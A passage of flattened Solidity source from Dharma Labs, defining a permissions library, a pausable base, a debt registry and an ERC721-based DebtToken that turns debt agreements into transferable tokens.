distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* Note(kayvon): these events are emitted by our PermissionsLib, but all contracts that
* depend on the library must also define the events in order for web3 clients to pick them up.
* This topic is discussed in greater detail here (under the section "Events and Libraries"):
* https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736
*/
contract PermissionEvents {
event Authorized(address indexed agent, string callingContext);
event AuthorizationRevoked(address indexed agent, string callingContext);
}
library PermissionsLib {
// TODO(kayvon): remove these events and inherit from PermissionEvents when libraries are
// capable of inheritance.
// See relevant github issue here: https://github.com/ethereum/solidity/issues/891
event Authorized(address indexed agent, string callingContext);
event AuthorizationRevoked(address indexed agent, string callingContext);
struct Permissions {
mapping (address => bool) authorized;
mapping (address => uint) agentToIndex; // ensures O(1) look-up
address[] authorizedAgents;
}
function authorize(
Permissions storage self,
address agent,
string callingContext
)
internal
{
require(isNotAuthorized(self, agent));
self.authorized[agent] = true;
self.authorizedAgents.push(agent);
self.agentToIndex[agent] = self.authorizedAgents.length - 1;
Authorized(agent, callingContext);
}
function revokeAuthorization(
Permissions storage self,
address agent,
string callingContext
)
internal
{
/* We only want to do work in the case where the agent whose
authorization is being revoked had authorization permissions in the
first place. */
require(isAuthorized(self, agent));
uint indexOfAgentToRevoke = self.agentToIndex[agent];
uint indexOfAgentToMove = self.authorizedAgents.length - 1;
address agentToMove = self.authorizedAgents[indexOfAgentToMove];
// Revoke the agent's authorization.
delete self.authorized[agent];
// Remove the agent from our collection of authorized agents.
self.authorizedAgents[indexOfAgentToRevoke] = agentToMove;
// Update our indices to reflect the above changes.
self.agentToIndex[agentToMove] = indexOfAgentToRevoke;
delete self.agentToIndex[agent];
// Clean up memory that's no longer being used.
delete self.authorizedAgents[indexOfAgentToMove];
self.authorizedAgents.length -= 1;
AuthorizationRevoked(agent, callingContext);
}
function isAuthorized(Permissions storage self, address agent)
internal
view
returns (bool)
{
return self.authorized[agent];
}
function isNotAuthorized(Permissions storage self, address agent)
internal
view
returns (bool)
{
return !isAuthorized(self, agent);
}
function getAuthorizedAgents(Permissions storage self)
internal
view
returns (address[])
{
return self.authorizedAgents;
}
}
/*
Copyright 2017 Dharma Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Internal dependencies.
/*
Copyright 2017 Dharma Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* The DebtRegistry stores the parameters and beneficiaries of all debt agreements in
* Dharma protocol. It authorizes a limited number of agents to
* perform mutations on it -- those agents can be changed at any
* time by the contract's owner.
*
* Author: Nadav Hollander -- Github: nadavhollander
*/
contract DebtRegistry is Pausable, PermissionEvents {
using SafeMath for uint;
using PermissionsLib for PermissionsLib.Permissions;
struct Entry {
address version;
address beneficiary;
address underwriter;
uint underwriterRiskRating;
address termsContract;
bytes32 termsContractParameters;
uint issuanceBlockTimestamp;
}
// Primary registry mapping agreement IDs to their corresponding entries
mapping (bytes32 => Entry) internal registry;
// Maps debtor addresses to a list of their debts' agreement IDs
mapping (address => bytes32[]) internal debtorToDebts;
PermissionsLib.Permissions internal entryInsertPermissions;
PermissionsLib.Permissions internal entryEditPermissions;
string public constant INSERT_CONTEXT = "debt-registry-insert";
string public constant EDIT_CONTEXT = "debt-registry-edit";
event LogInsertEntry(
bytes32 indexed agreementId,
address indexed beneficiary,
address indexed underwriter,
uint underwriterRiskRating,
address termsContract,
bytes32 termsContractParameters
);
event LogModifyEntryBeneficiary(
bytes32 indexed agreementId,
address indexed previousBeneficiary,
address indexed newBeneficiary
);
modifier onlyAuthorizedToInsert() {
require(entryInsertPermissions.isAuthorized(msg.sender));
_;
}
modifier onlyAuthorizedToEdit() {
require(entryEditPermissions.isAuthorized(msg.sender));
_;
}
modifier onlyExtantEntry(bytes32 agreementId) {
require(doesEntryExist(agreementId));
_;
}
modifier nonNullBeneficiary(address beneficiary) {
require(beneficiary != address(0));
_;
}
/* Ensures an entry with the specified agreement ID exists within the debt registry. */
function doesEntryExist(bytes32 agreementId)
public
view
returns (bool exists)
{
return registry[agreementId].beneficiary != address(0);
}
/**
* Inserts a new entry into the registry, if the entry is valid and sender is
* authorized to make 'insert' mutations to the registry.
*/
function insert(
address _version,
address _beneficiary,
address _debtor,
address _underwriter,
uint _underwriterRiskRating,
address _termsContract,
bytes32 _termsContractParameters,
uint _salt
)
public
onlyAuthorizedToInsert
whenNotPaused
nonNullBeneficiary(_beneficiary)
returns (bytes32 _agreementId)
{
Entry memory entry = Entry(
_version,
_beneficiary,
_underwriter,
_underwriterRiskRating,
_termsContract,
_termsContractParameters,
block.timestamp
);
bytes32 agreementId = _getAgreementId(entry, _debtor, _salt);
require(registry[agreementId].beneficiary == address(0));
registry[agreementId] = entry;
debtorToDebts[_debtor].push(agreementId);
LogInsertEntry(
agreementId,
entry.beneficiary,
entry.underwriter,
entry.underwriterRiskRating,
entry.termsContract,
entry.termsContractParameters
);
return agreementId;
}
/**
* Modifies the beneficiary of a debt issuance, if the sender
* is authorized to make 'modifyBeneficiary' mutations to
* the registry.
*/
function modifyBeneficiary(bytes32 agreementId, address newBeneficiary)
public
onlyAuthorizedToEdit
whenNotPaused
onlyExtantEntry(agreementId)
nonNullBeneficiary(newBeneficiary)
{
address previousBeneficiary = registry[agreementId].beneficiary;
registry[agreementId].beneficiary = newBeneficiary;
LogModifyEntryBeneficiary(
agreementId,
previousBeneficiary,
newBeneficiary
);
}
/**
* Adds an address to the list of agents authorized
* to make 'insert' mutations to the registry.
*/
function addAuthorizedInsertAgent(address agent)
public
onlyOwner
{
entryInsertPermissions.authorize(agent, INSERT_CONTEXT);
}
/**
* Adds an address to the list of agents authorized
* to make 'modifyBeneficiary' mutations to the registry.
*/
function addAuthorizedEditAgent(address agent)
public
onlyOwner
{
entryEditPermissions.authorize(agent, EDIT_CONTEXT);
}
/**
* Removes an address from the list of agents authorized
* to make 'insert' mutations to the registry.
*/
function revokeInsertAgentAuthorization(address agent)
public
onlyOwner
{
entryInsertPermissions.revokeAuthorization(agent, INSERT_CONTEXT);
}
/**
* Removes an address from the list of agents authorized
* to make 'modifyBeneficiary' mutations to the registry.
*/
function revokeEditAgentAuthorization(address agent)
public
onlyOwner
{
entryEditPermissions.revokeAuthorization(agent, EDIT_CONTEXT);
}
/**
* Returns the parameters of a debt issuance in the registry.
*
* TODO(kayvon): protect this function with our `onlyExtantEntry` modifier once the restriction
* on the size of the call stack has been addressed.
*/
function get(bytes32 agreementId)
public
view
returns(address, address, address, uint, address, bytes32, uint)
{
return (
registry[agreementId].version,
registry[agreementId].beneficiary,
registry[agreementId].underwriter,
registry[agreementId].underwriterRiskRating,
registry[agreementId].termsContract,
registry[agreementId].termsContractParameters,
registry[agreementId].issuanceBlockTimestamp
);
}
/**
* Returns the beneficiary of a given issuance
*/
function getBeneficiary(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns(address)
{
return registry[agreementId].beneficiary;
}
/**
* Returns the terms contract address of a given issuance
*/
function getTermsContract(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns (address)
{
return registry[agreementId].termsContract;
}
/**
* Returns the terms contract parameters of a given issuance
*/
function getTermsContractParameters(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns (bytes32)
{
return registry[agreementId].termsContractParameters;
}
/**
* Returns a tuple of the terms contract and its associated parameters
* for a given issuance
*/
function getTerms(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns(address, bytes32)
{
return (
registry[agreementId].termsContract,
registry[agreementId].termsContractParameters
);
}
/**
* Returns the timestamp of the block at which a debt agreement was issued.
*/
function getIssuanceBlockTimestamp(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns (uint timestamp)
{
return registry[agreementId].issuanceBlockTimestamp;
}
/**
* Returns the list of agents authorized to make 'insert' mutations
*/
function getAuthorizedInsertAgents()
public
view
returns(address[])
{
return entryInsertPermissions.getAuthorizedAgents();
}
/**
* Returns the list of agents authorized to make 'modifyBeneficiary' mutations
*/
function getAuthorizedEditAgents()
public
view
returns(address[])
{
return entryEditPermissions.getAuthorizedAgents();
}
/**
* Returns the list of debt agreements a debtor is party to,
* with each debt agreement listed by agreement ID.
*/
function getDebtorsDebts(address debtor)
public
view
returns(bytes32[])
{
return debtorToDebts[debtor];
}
/**
* Helper function for computing the hash of a given issuance,
* and, in turn, its agreementId
*/
function _getAgreementId(Entry _entry, address _debtor, uint _salt)
internal
pure
returns(bytes32)
{
return keccak256(
_entry.version,
_debtor,
_entry.underwriter,
_entry.underwriterRiskRating,
_entry.termsContract,
_entry.termsContractParameters,
_salt
);
}
}
/*
Copyright 2017 Dharma Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* ERC165 interface required by ERC721 non-fungible token.
*
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
// External dependencies.
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
/**
* @title ERC-721 methods shipped in OpenZeppelin v1.7.0, removed in the latest version of the standard
* @dev Only use this interface for compatibility with previously deployed contracts
* @dev Use ERC721 for interacting with new contracts which are standard-compliant
*/
contract DeprecatedERC721 is ERC721 {
function takeOwnership(uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function tokensOf(address _owner) public view returns (uint256[]);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. This function MUST use 50,000 gas or less. Return of other
* than the magic value MUST result in the transaction being reverted.
* Note: the contract address is always the message sender.
* @param _from The sending address
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
*/
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether there is code in the target address
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address address to check
* @return whether there is code in the target address
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existance of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* @dev The zero address indicates there is no approved address.
* @dev There can only be one approved address per token at a given time.
* @dev Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for a the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* @dev An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId) {
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @dev Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
Approval(_owner, address(0), _tokenId);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* @dev The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool) {
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Internal function to set the token URI for a given token
* @dev Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* The DebtToken contract governs all business logic for making a debt agreement
* transferable as an ERC721 non-fungible token. Additionally, the contract
* allows authorized contracts to trigger the minting of a debt agreement token
* and, in turn, the insertion of a debt issuance into the DebtRegsitry.
*
* Author: Nadav Hollander -- Github: nadavhollander
*/
contract DebtToken is ERC721Token, ERC165, Pausable, PermissionEvents {
using PermissionsLib for PermissionsLib.Permissions;
DebtRegistry public registry;
PermissionsLib.Permissions internal tokenCreationPermissions;
PermissionsLib.Permissions internal tokenURIPermissions;
string public constant CREATION_CONTEXT = "debt-token-creation";
string public constant URI_CONTEXT = "debt-token-uri";
/**
* Constructor that sets the address of the debt registry.
*/
function DebtToken(address _registry)
public
ERC721Token("DebtToken", "DDT")
{
registry = DebtRegistry(_registry);
}
/**
* ERC165 interface.
* Returns true for ERC721, false otherwise
*/
function supportsInterface(bytes4 interfaceID)
external
view
returns (bool _isSupported)
{
return interfaceID == 0x80ac58cd; // ERC721
}
/**
* Mints a unique debt token and inserts the associated issuance into
* the debt registry, if the calling address is authorized to do so.
*/
function create(
address _version,
address _beneficiary,
address _debtor,
address _underwriter,
uint _underwriterRiskRating,
address _termsContract,
bytes32 _termsContractParameters,
uint _salt
)
public
whenNotPaused
returns (uint _tokenId)
{
require(tokenCreationPermissions.isAuthorized(msg.sender));
bytes32 entryHash = registry.insert(
_version,
_beneficiary,
_debtor,
_underwriter,
_underwriterRiskRating,
_termsContract,
_termsContractParameters,
_salt
);
super._mint(_beneficiary, uint(entryHash));
return uint(entryHash);
}
/**
* Adds an address to the list of agents authorized to mint debt tokens.
*/
function addAuthorizedMintAgent(address _agent)
public
onlyOwner
{
tokenCreationPermissions.authorize(_agent, CREATION_CONTEXT);
}
/**
* Removes an address from the list of agents authorized to mint debt tokens
*/
function revokeMintAgentAuthorization(address _agent)
public
onlyOwner
{
tokenCreationPermissions.revokeAuthorization(_agent, CREATION_CONTEXT);
}
/**
* Returns the list of agents authorized to mint debt tokens
*/
function getAuthorizedMintAgents()
public
view
returns (address[] _agents)
{
return tokenCreationPermissions.getAuthorizedAgents();
}
/**
* Adds an address to the list of agents authorized to set token URIs.
*/
function addAuthorizedTokenURIAgent(address _agent)
public
onlyOwner
{
tokenURIPermissions.authorize(_agent, URI_CONTEXT);
}
/**
* Returns the list of agents authorized to set token URIs.
*/
function getAuthorizedTokenURIAgents()
public
view
returns (address[] _agents)
{
return tokenURIPermissions.getAuthorizedAgents();
}
/**
* Removes an address from the list of agents authorized to set token URIs.
*/
function revokeTokenURIAuthorization(address _agent)
public
onlyOwner
{
tokenURIPermissions.revokeAuthorization(_agent, URI_CONTEXT);
}
/**
* We override approval method of the parent ERC721Token
* contract to allow its functionality to be frozen in the case of an emergency
*/
function approve(address _to, uint _tokenId)
public
whenNotPaused
{
super.approve(_to, _tokenId);
}
/**
* We override setApprovalForAll method of the parent ERC721Token
* contract to allow its functionality to be frozen in the case of an emergency
*/
function setApprovalForAll(address _to, bool _approved)
public
whenNotPaused
{
super.setApprovalForAll(_to, _approved);
}
/**
* Support deprecated ERC721 method
*/
function transfer(address _to, uint _tokenId)
public
{
safeTransferFrom(msg.sender, _to, _tokenId);
}
/**
* We override transferFrom methods of the parent ERC721Token
* contract to allow its functionality to be frozen in the case of an emergency
*/
function transferFrom(address _from, address _to, uint _tokenId)
public
whenNotPaused
{
_modifyBeneficiary(_tokenId, _to);
super.transferFrom(_from, _to, _tokenId);
}
/**
* We override safeTransferFrom methods of the parent ERC721Token
* contract to allow its functionality to be frozen in the case of an emergency
*/
function safeTransferFrom(address _from, address _to, uint _tokenId)
public
whenNotPaused
{
_modifyBeneficiary(_tokenId, _to);
super.safeTransferFrom(_from, _to, _tokenId);
}
/**
* We override safeTransferFrom methods of the parent ERC721Token
